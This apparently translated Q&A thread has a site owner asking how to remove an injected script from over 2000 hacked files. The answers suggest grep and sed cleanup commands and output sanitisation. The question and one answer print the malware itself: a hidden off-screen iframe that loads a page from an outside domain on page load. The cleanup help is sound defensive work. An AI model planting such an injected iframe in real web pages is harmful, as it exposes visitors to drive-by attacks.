2

昨日、私のサイトがハッキングされ、次のようなコードが含まれていました。

<script>  
    function frmAdd() { 
        var ifrm = document.createElement('iframe'); 
        ifrm.style.position='absolute'; 
        ifrm.style.top='-999em'; 
        ifrm.style.left='-999em'; 
        ifrm.src = \"http://fenwaywest.com/media/index.php\";
        ifrm.id = 'frmId';
        document.body.appendChild(ifrm);
    };
    window.onload = frmAdd;
</script>";

以下のコマンドを使用してサーバーを検索し、影響を受けるファイルを見つけると、

grep -r "<script>  function frmAdd()" /path/

2000以上のファイルを取得しました。

ここで、その行のみを削除する必要があります。2000 個のファイルすべてからその行を削除するためだけにコマンドをガイドできますか?

4

3 に答える 3

2

まずはバックアップ!次に、次のようなことを試してみてください。

grep -lr " function frmAdd" /path/ | xargs sed -i '/ function frmAdd/d'

これにより、その正規表現に一致する行が削除されます。また、パスにスペースが含まれていないことも前提としています (うまくいけば、ここでは妥当な前提です)。

于 2012-10-10T13:10:58.810 に答える
0

ユーザーデータを印刷するときは、CakePHP サニタイズ クラスを使用してみてください。

echo Sanitize::html($badString);
于 2012-10-10T19:37:17.883 に答える
0

ウイルスの掃除が不足していませんか?同じウイルスに感染したからです。私のサイトは joomla にあります。

編集:

私はコードを使用します:

grep -lr " function frmAdd" public_html | xargs sed -i '/ function frmAdd/d'

しかし、あなたがこのようなものを持っているなら

    <html><body bgcolor="#FFFFFF"><!--ef09d2--><script>  function frmAdd() { var ifrm = document.createElement('iframe'); ifrm.style.position='absolute'; ifrm.style.top='-999em'; ifrm.style.left='-999em'; ifrm.src = "http://fenwaywest.com/media/index.php";ifrm.id = 'frmId';document.body.appendChild(ifrm);};window.onload = frmAdd;</script><!--/ef09d2-->
</body></html>

これはのみを返します</body></html>

于 2012-10-11T07:12:29.537 に答える